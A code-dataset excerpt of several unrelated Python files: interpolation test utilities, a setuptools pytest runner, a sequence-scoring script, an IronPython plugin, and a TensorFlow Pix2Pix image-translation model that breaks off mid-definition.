John Burkardt\n#\n# Reference:\n#\n# Fred Fritsch, Ralph Carlson,\n# Monotone Piecewise Cubic Interpolation,\n# SIAM Journal on Numerical Analysis,\n# Volume 17, Number 2, April 1980, pages 238-246.\n#\n# Parameters:\n#\n# None\n#\n print ( '' )\n print ( ' This example is due to Fred Fritsch and Ralph Carlson.' )\n print ( ' This data can cause problems for interpolation methods.' )\n print ( ' There are sudden changes in direction, and at the same time,' )\n print ( ' sparsely-placed data. This can cause an interpolant to overshoot' )\n print ( ' the data in a way that seems implausible.' )\n\n return\n\ndef p04_story ( ):\n\n#*****************************************************************************80\n#\n## P04_STORY prints the \"story\" for problem p04.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Reference:\n#\n# Larry Irvine, Samuel Marin, Philip Smith,\n# Constrained Interpolation and Smoothing,\n# Constructive Approximation,\n# Volume 2, Number 1, December 1986, pages 129-151.\n#\n# Parameters:\n#\n# None\n#\n print ( '' )\n print ( ' This example is due to Larry Irvine, Samuel Marin and Philip Smith.' )\n print ( ' This data can cause problems for interpolation methods.' )\n print ( ' There are sudden changes in direction, and at the same time,' )\n print ( ' sparsely-placed data. This can cause an interpolant to overshoot' )\n print ( ' the data in a way that seems implausible.' )\n\n return\n\ndef p05_story ( ):\n\n#*****************************************************************************80\n#\n## P05_STORY prints the \"story\" for problem p05.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Reference:\n#\n# Larry Irvine, Samuel Marin, Philip Smith,\n# Constrained Interpolation and Smoothing,\n# Constructive Approximation,\n# Volume 2, Number 1, December 1986, pages 129-151.\n#\n# Parameters:\n#\n# None\n#\n print ( '' )\n print ( ' This example is due to Larry Irvine, Samuel Marin and Philip Smith.' )\n print ( ' This data can cause problems for interpolation methods.' )\n print ( ' There are sudden changes in direction, and at the same time,' )\n print ( ' sparsely-placed data. This can cause an interpolant to overshoot' )\n print ( ' the data in a way that seems implausible.' )\n\n return\n\ndef p06_story ( ):\n\n#*****************************************************************************80\n#\n## P06_STORY prints the \"story\" for problem p06.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Reference:\n#\n# Carl DeBoor, John Rice,\n# Least-squares cubic spline approximation II - variable knots.\n# Technical Report CSD TR 21,\n# Purdue University, Lafayette, Indiana, 1968.\n#\n# Carl DeBoor,\n# A Practical Guide to Splines,\n# Springer, 2001,\n# ISBN: 0387953663,\n# LC: QA1.A647.v27.\n#\n# Parameters:\n#\n# None\n#\n print ( '' )\n print ( ' The data is due to Carl deBoor and John Rice.' )\n print ( ' The data represents a temperature dependent property of titanium.' )\n print ( ' The data has been used extensively as an example in spline' )\n print ( ' approximation with variably-spaced knots.' )\n print ( ' DeBoor considers two sets of knots:' )\n print ( ' (595,675,755,835,915,995,1075)' )\n print ( ' and' )\n print ( ' (595,725,850,910,975,1040,1075).' )\n\n return\n\ndef p07_story ( ):\n\n#*****************************************************************************80\n#\n## P07_STORY prints the \"story\" for problem p07.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# None\n#\n print ( '' )\n print ( ' This data is a simple symmetric set of 4 points,' )\n print ( ' for which it is interesting to develop the Shepard' )\n print ( ' interpolants for varying values of the exponent p.' )\n\n return\n\ndef p08_story ( ):\n\n#*****************************************************************************80\n#\n## P08_STORY prints the \"story\" for problem p08.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# None\n#\n print ( '' )\n print ( ' This is equally spaced data for y = x^2,' )\n print ( ' except for one extra point whose x value is' )\n print ( ' close to another, but whose y value is not so close.' )\n print ( ' A small disagreement in nearby data can be a disaster.' )\n return\n\ndef p00_story_test ( ):\n\n#*****************************************************************************80\n#\n## P00_STORY_TEST tests P00_STORY.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 28 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n import platform\n\n print ( '' )\n print ( 'P00_STORY_TEST' )\n print ( ' Python version: %s' % ( platform.python_version ( ) ) )\n print ( ' P00_STORY prints the \"story\" for any problem.' )\n\n prob_num = p00_prob_num ( )\n\n for prob in range ( 1, prob_num + 1 ):\n\n print ( '' )\n print ( ' Problem %d' % ( prob ) )\n\n p00_story ( prob )\n#\n# Terminate.\n#\n print ( '' )\n print ( 'P00_STORY_TEST:' )\n print ( ' Normal end of execution.' )\n return\n\ndef r8mat_transpose_print ( m, n, a, title ):\n\n#*****************************************************************************80\n#\n## R8MAT_TRANSPOSE_PRINT prints an R8MAT, transposed.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 31 August 2014\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer M, the number of rows in A.\n#\n# Input, integer N, the number of columns in A.\n#\n# Input, real A(M,N), the matrix.\n#\n# Input, string TITLE, a title.\n#\n r8mat_transpose_print_some ( m, n, a, 0, 0, m - 1, n - 1, title )\n\n return\n\ndef r8mat_transpose_print_test ( ):\n\n#*****************************************************************************80\n#\n## R8MAT_TRANSPOSE_PRINT_TEST tests R8MAT_TRANSPOSE_PRINT.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 31 October 2014\n#\n# Author:\n#\n# John Burkardt\n#\n import numpy as np\n import platform\n\n print ( '' )\n print ( 'R8MAT_TRANSPOSE_PRINT_TEST' )\n print ( ' Python version: %s' % ( platform.python_version ( ) ) )\n print ( ' R8MAT_TRANSPOSE_PRINT prints an R8MAT.' )\n\n m = 4\n n = 3\n v = np.array ( [ \\\n [ 11.0, 12.0, 13.0 ], \n [ 21.0, 22.0, 23.0 ], \n [ 31.0, 32.0, 33.0 ], \n [ 41.0, 42.0, 43.0 ] ], dtype = np.float64 )\n r8mat_transpose_print ( m, n, v, ' Here is an R8MAT, transposed:' )\n#\n# Terminate.\n#\n print ( '' )\n print ( 'R8MAT_TRANSPOSE_PRINT_TEST:' )\n print ( ' Normal end of execution.' )\n return\n\ndef r8mat_transpose_print_some ( m, n, a, ilo, jlo, ihi, jhi, title ):\n\n#*****************************************************************************80\n#\n## R8MAT_TRANSPOSE_PRINT_SOME prints a portion of an R8MAT, transposed.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 13 November 2014\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# Input, integer M, N, the number of rows and columns of the matrix.\n#\n# Input, real A(M,N), an M by N matrix to be printed.\n#\n# Input, integer ILO, JLO, the first row and column to print.\n#\n# Input, integer IHI, JHI, the last row and column to print.\n#\n# Input, string TITLE, a title.\n#\n incx = 5\n\n print ( '' )\n print ( title )\n\n if ( m <= 0 or n <= 0 ):\n print ( '' )\n print ( ' (None)' )\n return\n\n for i2lo in range ( max ( ilo, 0 ), min ( ihi, m - 1 ), incx ):\n\n i2hi = i2lo + incx - 1\n i2hi = min ( i2hi, m - 1 )\n i2hi = min ( i2hi, ihi )\n \n print ( '' )\n print ( ' Row: ' ),\n\n for i in range ( i2lo, i2hi + 1 ):\n print ( '%7d ' % ( i ) ),\n\n print ( '' )\n print ( ' Col' )\n\n j2lo = max ( jlo, 0 )\n j2hi = min ( jhi, n - 1 )\n\n for j in range ( j2lo, j2hi + 1 ):\n\n print ( '%7d :' % ( j ) ),\n \n for i in range ( i2lo, i2hi + 1 ):\n print ( '%12g ' % ( a[i,j] ) ),\n\n print ( '' )\n\n return\n\ndef r8mat_transpose_print_some_test ( ):\n\n#*****************************************************************************80\n#\n## R8MAT_TRANSPOSE_PRINT_SOME_TEST tests R8MAT_TRANSPOSE_PRINT_SOME.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license.\n#\n# Modified:\n#\n# 31 October 2014\n#\n# Author:\n#\n# John Burkardt\n#\n import numpy as np\n import platform\n\n print ( '' )\n print ( 'R8MAT_TRANSPOSE_PRINT_SOME_TEST' )\n print ( ' Python version: %s' % ( platform.python_version ( ) ) )\n print ( ' R8MAT_TRANSPOSE_PRINT_SOME prints some of an R8MAT, transposed.' )\n\n m = 4\n n = 6\n v = np.array ( [ \\\n [ 11.0, 12.0, 13.0, 14.0, 15.0, 16.0 ], \n [ 21.0, 22.0, 23.0, 24.0, 25.0, 26.0 ], \n [ 31.0, 32.0, 33.0, 34.0, 35.0, 36.0 ], \n [ 41.0, 42.0, 43.0, 44.0, 45.0, 46.0 ] ], dtype = np.float64 )\n r8mat_transpose_print_some ( m, n, v, 0, 3, 2, 5, ' R8MAT, rows 0:2, cols 3:5:' )\n#\n# Terminate.\n#\n print ( '' )\n print ( 'R8MAT_TRANSPOSE_PRINT_SOME_TEST:' )\n print ( ' Normal end of execution.' )\n return\n\ndef test_interp_test ( ):\n\n#*****************************************************************************80\n#\n## TEST_INTERP_TEST tests the TEST_INTERP library.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license. \n#\n# Modified:\n#\n# 29 June 2015\n#\n# Author:\n#\n# John Burkardt\n#\n import platform\n\n print ( '' )\n print ( 'TEST_INTERP_TEST' )\n print ( ' Python version: %s' % ( platform.python_version ( ) ) )\n print ( ' Test the TEST_INTERP library.' )\n#\n# Utility functions.\n#\n r8mat_transpose_print_test ( )\n r8mat_transpose_print_some_test ( )\n#\n# Library functions.\n#\n p00_prob_num_test ( )\n p00_story_test ( )\n p00_dim_num_test ( )\n p00_data_num_test ( )\n p00_data_test ( )\n p00_plot_test ( )\n#\n# Terminate.\n#\n print ( '' )\n print ( 'TEST_INTERP_TEST:' )\n print ( ' Normal end of execution.' )\n return\n\ndef timestamp ( ):\n\n#*****************************************************************************80\n#\n## TIMESTAMP prints the date as a timestamp.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license. \n#\n# Modified:\n#\n# 06 April 2013\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# None\n#\n import time\n\n t = time.time ( )\n print ( time.ctime ( t ) )\n\n return None\n\ndef timestamp_test ( ):\n\n#*****************************************************************************80\n#\n## TIMESTAMP_TEST tests TIMESTAMP.\n#\n# Licensing:\n#\n# This code is distributed under the GNU LGPL license. \n#\n# Modified:\n#\n# 03 December 2014\n#\n# Author:\n#\n# John Burkardt\n#\n# Parameters:\n#\n# None\n#\n import platform\n\n print ( '' )\n print ( 'TIMESTAMP_TEST:' )\n print ( ' Python version: %s' % ( platform.python_version ( ) ) )\n print ( ' TIMESTAMP prints a timestamp of the current date and time.' )\n print ( '' )\n\n timestamp ( )\n#\n# Terminate.\n#\n print ( '' )\n print ( 'TIMESTAMP_TEST:' )\n print ( ' Normal end of execution.' )\n return\n\nif ( __name__ == '__main__' ):\n timestamp ( )\n test_interp_test ( )\n timestamp ( )\n\n","sub_path":"rbf_interp_2d/test_interp.py","file_name":"test_interp.py","file_ext":"py","file_size_in_byte":38946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"85633170","text":"\"\"\"\nImplementation\n\"\"\"\n\nimport os as _os\nimport shlex as _shlex\nimport contextlib as _contextlib\nimport sys as _sys\nimport operator as _operator\nimport itertools as _itertools\n\ntry:\n\t# ensure that map has the same meaning on Python 2\n\tfrom future_builtins import map\nexcept ImportError:\n\tpass\n\nimport pkg_resources\nimport setuptools.command.test as orig\n\n\n@_contextlib.contextmanager\ndef _save_argv(repl=None):\n\tsaved = _sys.argv[:]\n\tif repl is not None:\n\t\t_sys.argv[:] = repl\n\ttry:\n\t\tyield saved\n\tfinally:\n\t\t_sys.argv[:] = saved\n\n\n@_contextlib.contextmanager\ndef null():\n\tyield\n\n\nclass PyTest(orig.test):\n\t\"\"\"\n\t>>> import setuptools\n\t>>> dist = setuptools.Distribution()\n\t>>> cmd = PyTest(dist)\n\t\"\"\"\n\n\tuser_options = [\n\t\t('extras', None, \"Install (all) setuptools extras when running tests\"),\n\t\t('index-url=', None, \"Specify an index url from which to retrieve \"\n\t\t\t\"dependencies\"),\n\t\t('allow-hosts=', None, \"Whitelist of comma-separated hosts to allow \"\n\t\t\t\"when retrieving dependencies\"),\n\t\t('addopts=', None, \"Additional options to be passed verbatim to the \"\n\t\t\t\"pytest runner\")\n\t]\n\n\tdef initialize_options(self):\n\t\tself.extras = False\n\t\tself.index_url = None\n\t\tself.allow_hosts = None\n\t\tself.addopts = []\n\n\tdef finalize_options(self):\n\t\tif self.addopts:\n\t\t\tself.addopts = _shlex.split(self.addopts)\n\n\t@staticmethod\n\tdef marker_passes(marker):\n\t\t\"\"\"\n\t\tGiven an environment marker, return True if the marker is valid\n\t\tand matches this environment.\n\t\t\"\"\"\n\t\treturn (\n\t\t\tmarker\n\t\t\tand not pkg_resources.invalid_marker(marker)\n\t\t\tand pkg_resources.evaluate_marker(marker)\n\t\t)\n\n\t@staticmethod\n\tdef _install_dists_compat(dist):\n\t\t\"\"\"\n\t\tCopy of install_dists from setuptools 27.3.0.\n\t\t\"\"\"\n\t\tir_d = dist.fetch_build_eggs(dist.install_requires or [])\n\t\ttr_d = dist.fetch_build_eggs(dist.tests_require or [])\n\t\treturn _itertools.chain(ir_d, tr_d)\n\n\tdef install_dists(self, dist):\n\t\t\"\"\"\n\t\tExtend install_dists to include extras support\n\t\t\"\"\"\n\t\ti_d = getattr(orig.test, 'install_dists', self._install_dists_compat)\n\t\treturn _itertools.chain(i_d(dist), self.install_extra_dists(dist))\n\n\tdef install_extra_dists(self, dist):\n\t\t\"\"\"\n\t\tInstall extras that are indicated by markers or\n\t\tinstall all extras if '--extras' is indicated.\n\t\t\"\"\"\n\t\textras_require = dist.extras_require or {}\n\n\t\tspec_extras = (\n\t\t\t(spec.partition(':'), reqs)\n\t\t\tfor spec, reqs in extras_require.items()\n\t\t)\n\t\tmatching_extras = (\n\t\t\treqs\n\t\t\tfor (name, sep, marker), reqs in spec_extras\n\t\t\t# never include extras that fail to pass marker eval\n\t\t\tif marker and not self.marker_passes(marker)\n\t\t\t# include unnamed extras or all if self.extras indicated\n\t\t\tand (not name or self.extras)\n\t\t)\n\t\tresults = list(map(dist.fetch_build_eggs, matching_extras))\n\t\treturn _itertools.chain.from_iterable(results)\n\n\t@staticmethod\n\tdef paths_on_pythonpath(paths):\n\t\t\"\"\"\n\t\tBackward compatibility for paths_on_pythonpath;\n\t\tReturns a null context if paths_on_pythonpath is\n\t\tnot implemented in orig.test.\n\t\tNote that this also means that the paths iterable\n\t\tis never consumed, which incidentally means that\n\t\tthe None values from dist.fetch_build_eggs in\n\t\tolder Setuptools will be disregarded.\n\t\t\"\"\"\n\t\ttry:\n\t\t\treturn orig.test.paths_on_pythonpath(paths)\n\t\texcept AttributeError:\n\t\t\treturn null()\n\n\tdef _super_run(self):\n\t\tif hasattr(orig.test, 'install_dists'):\n\t\t\treturn orig.test.run(self)\n\n\t\t# for backward compatibility with setuptools < 27.3\n\t\tinstalled_dists = self.install_dists(self.distribution)\n\t\tif self.dry_run:\n\t\t\tself.announce('skipping tests (dry run)')\n\t\t\treturn\n\t\tpaths = map(_operator.attrgetter('location'), installed_dists)\n\t\twith self.paths_on_pythonpath(paths):\n\t\t\tself.with_project_on_sys_path(self.run_tests)\n\n\tdef run(self):\n\t\t\"\"\"\n\t\tOverride run to ensure requirements are available in this session (but\n\t\tdon't install them anywhere).\n\t\t\"\"\"\n\t\tself._build_egg_fetcher()\n\t\tself._super_run()\n\t\tif self.result_code:\n\t\t\traise SystemExit(self.result_code)\n\t\treturn self.result_code\n\n\tdef _build_egg_fetcher(self):\n\t\t\"\"\"Build an egg fetcher that respects index_url and allow_hosts\"\"\"\n\t\t# modified from setuptools.dist:Distribution.fetch_build_egg\n\t\tfrom setuptools.command.easy_install import easy_install\n\t\tmain_dist = self.distribution\n\t\t# construct a fake distribution to store the args for easy_install\n\t\tdist = main_dist.__class__({'script_args': ['easy_install']})\n\t\tdist.parse_config_files()\n\t\topts = dist.get_option_dict('easy_install')\n\t\tkeep = (\n\t\t\t'find_links', 'site_dirs', 'index_url', 'optimize',\n\t\t\t'site_dirs', 'allow_hosts'\n\t\t)\n\t\tfor key in opts.keys():\n\t\t\tif key not in keep:\n\t\t\t\tdel opts[key] # don't use any other settings\n\t\tif main_dist.dependency_links:\n\t\t\tlinks = main_dist.dependency_links[:]\n\t\t\tif 'find_links' in opts:\n\t\t\t\tlinks = opts['find_links'][1].split() + links\n\t\t\topts['find_links'] = ('setup', links)\n\t\tif self.allow_hosts:\n\t\t\topts['allow_hosts'] = ('test', self.allow_hosts)\n\t\tif self.index_url:\n\t\t\topts['index_url'] = ('test', self.index_url)\n\t\tinstall_dir_func = getattr(dist, 'get_egg_cache_dir', _os.getcwd)\n\t\tinstall_dir = install_dir_func()\n\t\tcmd = easy_install(\n\t\t\tdist, args=[\"x\"], install_dir=install_dir, exclude_scripts=True,\n\t\t\talways_copy=False, build_directory=None, editable=False,\n\t\t\tupgrade=False, multi_version=True, no_report = True\n\t\t)\n\t\tcmd.ensure_finalized()\n\t\tmain_dist._egg_fetcher = cmd\n\n\t@property\n\tdef _argv(self):\n\t\treturn ['pytest'] + self.addopts\n\n\tdef run_tests(self):\n\t\t\"\"\"\n\t\tInvoke pytest, replacing argv.\n\t\t\"\"\"\n\t\twith _save_argv(_sys.argv[:1] + self.addopts):\n\t\t\tself.result_code = __import__('pytest').main()\n","sub_path":".eggs/pytest_runner-2.10-py3.7.egg/ptr.py","file_name":"ptr.py","file_ext":"py","file_size_in_byte":5546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"419697565","text":"#!/usr/bin/env python2.4\n\n\"\"\"\nScore a set of sequences using a model\n\nusage: %prog data score_matrix out [options]\n -i, --input=FILE: Input filename (otherwise stdin)\n -d, --output=FILE: Output filename (otherwise stdout)\n -f, --format=FILE: Format of input data. 'ints' by default, or 'maf'\n -m, --mapping=FILE: A mapping (alphabet reduction) to apply to each sequence (optional)\n -M, --model=name: Name of model to train (default 'standard')\n -G, --mincols=INT: Minimum number of scorable positions \n -c, --classnames=A,B: Names to use for the classes in the output. \n\"\"\"\n\nfrom __future__ import division\n\nimport pkg_resources\npkg_resources.require( \"bx-python\" )\n\nimport cookbook.doc_optparse\nimport sys\nimport traceback\n\nfrom numpy import *\n\nimport rp.io\nimport rp.mapping\nimport rp.models\n\nnan = float( 'nan' )\n\ndef run( data_file, out_file, model_fnames, format, mapping, modname, mincols, classnames ):\n\n max_order = 0\n models = []\n for f in model_fnames:\n model = rp.models.get( modname ).prob_from_file( f )\n radix = model.get_radix()\n order = model.get_order()\n max_order = max( max_order, order )\n models.append( model )\n\n # Score each\n for string in rp.io.get_reader( data_file, format, mapping ):\n if len( string ) < max_order or sum( string != -1 ) < mincols:\n print >> out_file, \"\\t\".join( ( [ \"NA\" ] * len( models ) ) + [ \"NO DATA\" ] )\n else:\n probs = [ model.score( string ) for model in models ]\n best = classnames[ argmax( probs ) ]\n print >> out_file, \"\\t\".join( map( str, list( exp( probs ) ) + [ best ] ) )\n\ndef main():\n\n # Parse command line\n try:\n options, args = cookbook.doc_optparse.parse( __doc__ )\n model_fnames = args\n if options.input:\n in_file = open( options.input )\n else:\n in_file = sys.stdin\n if options.output:\n out_file = open( options.output, \"w\" )\n else:\n out_file = sys.stdout\n modname = getattr( options, 'model' )\n if modname is None: modname = 'standard'\n if options.mapping:\n align_count, mapping = rp.mapping.alignment_mapping_from_file( file( options.mapping ) )\n else:\n mapping = None\n mincols = getattr( options, 'mincols' )\n if mincols: mincols = int( mincols )\n if options.classnames:\n classnames = options.classnames.split( \",\" )\n assert len( classnames ) == len( model_fnames )\n else:\n classnames = map( str, range( len( model_fnames ) ) )\n except:\n cookbook.doc_optparse.exit()\n\n run( in_file, out_file, model_fnames, options.format, mapping, modname, mincols, classnames )\n out_file.close()\n\nif __name__ == \"__main__\": main()\n","sub_path":"rp_prob_classify.py","file_name":"rp_prob_classify.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"183381789","text":"\"\"\"IronPython script plugin test\r\n@version: $1.0$\r\n@author: U{Wang Renxin}\r\n@file: This file is a part of GEF, for copyright detail\r\n information, see the LICENSE file.\r\n\"\"\"\r\n\r\nshell.pushWorkDir(EXE_DIR)\r\nfrom plugin import *\r\nshell.popWorkDir()\r\n\r\ndef go():\r\n\tp = List[object](['*.*|*.*'])\r\n\tshell.broadcast(UInt32(MsgGroupTypes.MGT_FILE), UInt32(MsgFileTypes.MFT_FILE_REQ_OPEN), p)\r\n\r\nif LOADING:\r\n\tplugin_name = 'Open Dlg Test'\r\n\tplugin_order = 10\r\nelse:\r\n\tgo()\r\n","sub_path":"sdk/gef_shell/Plugin/open_dlg_test.py","file_name":"open_dlg_test.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"202883400","text":"import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom IPython import display\n\nimport tensorflow as tf\nimport tensorflow_addons as tfa\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\n\n# distribution\ngpus = tf.config.experimental.list_physical_devices(\"GPU\")\nif gpus:\n try:\n tf.config.experimental.set_visible_devices(gpus[0], 'GPU')\n\n except RuntimeError as e:\n print(e)\n\nPATH = 'G:/공유 드라이브/Team_project/01_data/'\n\nBUFFER_SIZE = 1000\nBATCH_SIZE = 1\nIMG_WIDTH = 1280\nIMG_HEIGHT = 720\n\ndef load(image_file):\n image = tf.io.read_file(image_file)\n image = tf.image.decode_jpeg(image)\n \n image = tf.cast(image, tf.float32)\n \n return image\n\ndef resize(input_image, real_image, height, width):\n input_image = tf.image.resize(input_image, [height, width], method=tf.image.ResizeMethod.NEAREST_NEIGHBOR)\n real_image = tf.image.resize(real_image, [height, width], method=tf.image.ResizeMethod.NEAREST_NEIGHBOR)\n\n return input_image, real_image\n\ndef random_crop(input_image, real_image):\n stacked_image = tf.stack([input_image, real_image], axis=0)\n cropped_image = tf.image.random_crop(stacked_image, size=[2, IMG_HEIGHT, IMG_WIDTH, 3])\n\n return cropped_image[0], cropped_image[1]\n\n# normalizing the images to [-1, 1]\ndef normalize(input_image, real_image):\n input_image = (input_image / 127.5) - 1\n real_image = (real_image / 127.5) - 1\n\n return input_image, real_image\n\n@tf.function()\ndef random_jitter(input_image, real_image):\n # resizing to 286 x 286 x 3\n input_image, real_image = resize(input_image, real_image, 800, 1400)\n\n # randomly cropping to 256 x 256 x 3\n input_image, real_image = random_crop(input_image, real_image)\n\n if tf.random.uniform(()) > 0.5:\n # random mirroring\n input_image = tf.image.flip_left_right(input_image)\n real_image = tf.image.flip_left_right(real_image)\n\n return input_image, real_image\n\ndef load_image_train(image_file, real_image):\n input_image, real_image = load(image_file), load(real_image)\n input_image, real_image = random_jitter(input_image, real_image)\n input_image, real_image = normalize(input_image, real_image)\n\n return input_image, real_image\n\ndef load_image_test(image_file, real_image):\n input_image, real_image = load(image_file), load(real_image)\n input_image, real_image = resize(input_image, real_image, IMG_HEIGHT, IMG_WIDTH)\n input_image, real_image = normalize(input_image, real_image)\n\n return input_image, real_image\n\ninput_img = tf.data.Dataset.list_files(PATH + 'train/train_input_img/*.jpg', shuffle=False)\noutput_img = tf.data.Dataset.list_files(PATH + 'train/train_target_img/*.jpg', shuffle=False)\nprint(input_img)\nprint(output_img)\n\ntrain_dataset = tf.data.Dataset.zip((input_img, output_img))\nprint(train_dataset)\n\ntrain_dataset = train_dataset.map(load_image_train, num_parallel_calls=tf.data.experimental.AUTOTUNE)\ntrain_dataset = train_dataset.shuffle(BUFFER_SIZE)\ntrain_dataset = train_dataset.batch(BATCH_SIZE)\n\n# test_data\ninput_img = tf.data.Dataset.list_files(PATH + 'test/test_input_img/*.jpg', shuffle=False)\noutput_img = tf.data.Dataset.list_files(PATH + 'test/test_target_img/*.jpg', shuffle=False)\n\ntest_dataset = tf.data.Dataset.zip((input_img, output_img))\n\ntest_dataset = test_dataset.map(load_image_test)\ntest_dataset = test_dataset.shuffle(BUFFER_SIZE)\ntest_dataset = test_dataset.batch(BATCH_SIZE)\n\n# Modeling\nclass ReflectionPadding2D(layers.Layer):\n \"\"\"Implements Reflection Padding as a layer.\n\n Args:\n padding(tuple): Amount of padding for the\n spatial dimensions.\n\n Returns:\n A padded tensor with the same type as the input tensor.\n \"\"\"\n\n def __init__(self, padding=(1, 1), **kwargs):\n self.padding = tuple(padding)\n super(ReflectionPadding2D, self).__init__(**kwargs)\n\n def call(self, input_tensor, mask=None):\n padding_width, padding_height = self.padding\n padding_tensor = [\n [0, 0],\n [padding_height, padding_height],\n [padding_width, padding_width],\n [0, 0],\n ]\n return tf.pad(input_tensor, padding_tensor, mode=\"REFLECT\")\n\nkernel_init = keras.initializers.RandomNormal(mean=0.0, stddev=0.02)\ngamma_init = keras.initializers.RandomNormal(mean=0.0, stddev=0.02)\n\ndef residual_block(\n x,\n activation,\n kernel_initializer=kernel_init,\n kernel_size=(3, 3),\n strides=(1, 1),\n padding=\"valid\",\n gamma_initializer=gamma_init,\n use_bias=False,\n):\n dim = x.shape[-1]\n input_tensor = x\n\n x = ReflectionPadding2D()(input_tensor)\n x = layers.Conv2D(\n dim,\n kernel_size,\n strides=strides,\n kernel_initializer=kernel_initializer,\n padding=padding,\n use_bias=use_bias,\n )(x)\n x = layers.BatchNormalization(gamma_initializer=gamma_initializer)(x)\n x = activation(x)\n\n x = ReflectionPadding2D()(x)\n x = layers.Conv2D(\n dim,\n kernel_size,\n strides=strides,\n kernel_initializer=kernel_initializer,\n padding=padding,\n use_bias=use_bias,\n )(x)\n x = layers.BatchNormalization(gamma_initializer=gamma_initializer)(x)\n x = layers.add([input_tensor, x])\n return x\n\n\ndef downsample(\n x,\n filters,\n activation,\n kernel_initializer=kernel_init,\n kernel_size=(3, 3),\n strides=(2, 2),\n padding=\"same\",\n gamma_initializer=gamma_init,\n use_bias=False,\n):\n x = layers.Conv2D(\n filters,\n kernel_size,\n strides=strides,\n kernel_initializer=kernel_initializer,\n padding=padding,\n use_bias=use_bias,\n )(x)\n x = layers.BatchNormalization(gamma_initializer=gamma_initializer)(x)\n if activation:\n x = activation(x)\n return x\n\n\ndef upsample(\n x,\n filters,\n activation,\n kernel_size=(3, 3),\n strides=(2, 2),\n padding=\"same\",\n kernel_initializer=kernel_init,\n gamma_initializer=gamma_init,\n use_bias=False,\n):\n x = layers.Conv2DTranspose(\n filters,\n kernel_size,\n strides=strides,\n padding=padding,\n kernel_initializer=kernel_initializer,\n use_bias=use_bias,\n )(x)\n x = layers.BatchNormalization(gamma_initializer=gamma_initializer)(x)\n if activation:\n x = activation(x)\n return x\n\n# Generator\ndef get_generator(\n filters=64,\n num_downsampling_blocks=2,\n num_residual_blocks=9,\n num_upsample_blocks=2,\n gamma_initializer=gamma_init,\n name=None,\n):\n img_input = layers.Input(shape=(720,1280,3), name=name + \"_img_input\")\n x = ReflectionPadding2D(padding=(3, 3))(img_input)\n x = layers.Conv2D(filters, (7, 7), kernel_initializer=kernel_init, use_bias=False)(\n x\n )\n x = layers.BatchNormalization(gamma_initializer=gamma_initializer)(x)\n x = layers.Activation(\"relu\")(x)\n\n # Downsampling\n for _ in range(num_downsampling_blocks):\n filters *= 2\n x = downsample(x, filters=filters, activation=layers.Activation(\"relu\"))\n\n # Residual blocks\n for _ in range(num_residual_blocks):\n x = residual_block(x, activation=layers.Activation(\"relu\"))\n\n # Upsampling\n for _ in range(num_upsample_blocks):\n filters //= 2\n x = upsample(x, filters, activation=layers.Activation(\"relu\"))\n\n # Final block\n x = ReflectionPadding2D(padding=(3, 3))(x)\n x = layers.Conv2D(3, (7, 7), padding=\"valid\")(x)\n x = layers.Activation(\"tanh\")(x)\n\n model = keras.models.Model(img_input, x, name=name)\n return model\n\n# Generator\ndef get_discriminator(\n filters=64, kernel_initializer=kernel_init, num_downsampling=5, name=None\n):\n img_input = layers.Input(shape=(720,1280,3), name=name + \"_img_input\")\n x = layers.Conv2D(\n filters,\n (4, 4),\n strides=(2, 2),\n padding=\"same\",\n kernel_initializer=kernel_initializer,\n )(img_input)\n x = layers.LeakyReLU(0.2)(x)\n\n num_filters = filters\n for num_downsample_block in range(5):\n num_filters *= 2\n if num_downsample_block < 4:\n x = downsample(\n x,\n filters=num_filters,\n activation=layers.LeakyReLU(0.2),\n kernel_size=(4, 4),\n strides=(2, 2),\n )\n else:\n x = downsample(\n x,\n filters=num_filters,\n activation=layers.LeakyReLU(0.2),\n kernel_size=(4, 4),\n strides=(1, 1),\n )\n\n x = layers.Conv2D(\n 1, (4, 4), strides=(1, 1), padding=\"same\", kernel_initializer=kernel_initializer\n )(x)\n\n model = keras.models.Model(inputs=img_input, outputs=x, name=name)\n return model\n\n# Get the generators\ngen_G = get_generator(name=\"generator_G\")\n\n# Get the discriminators\ndisc_Y = get_discriminator(name=\"discriminator_Y\")\n\n\n# Pix2Pix\nclass Pix2Pix(keras.Model):\n def __init__(\n self,\n generator_G,\n discriminator_Y,\n LAMBDA=100\n ):\n super(Pix2Pix, self).__init__()\n self.gen_G = generator_G\n self.disc_Y = discriminator_Y\n self.LAMBDA = LAMBDA\n\n def 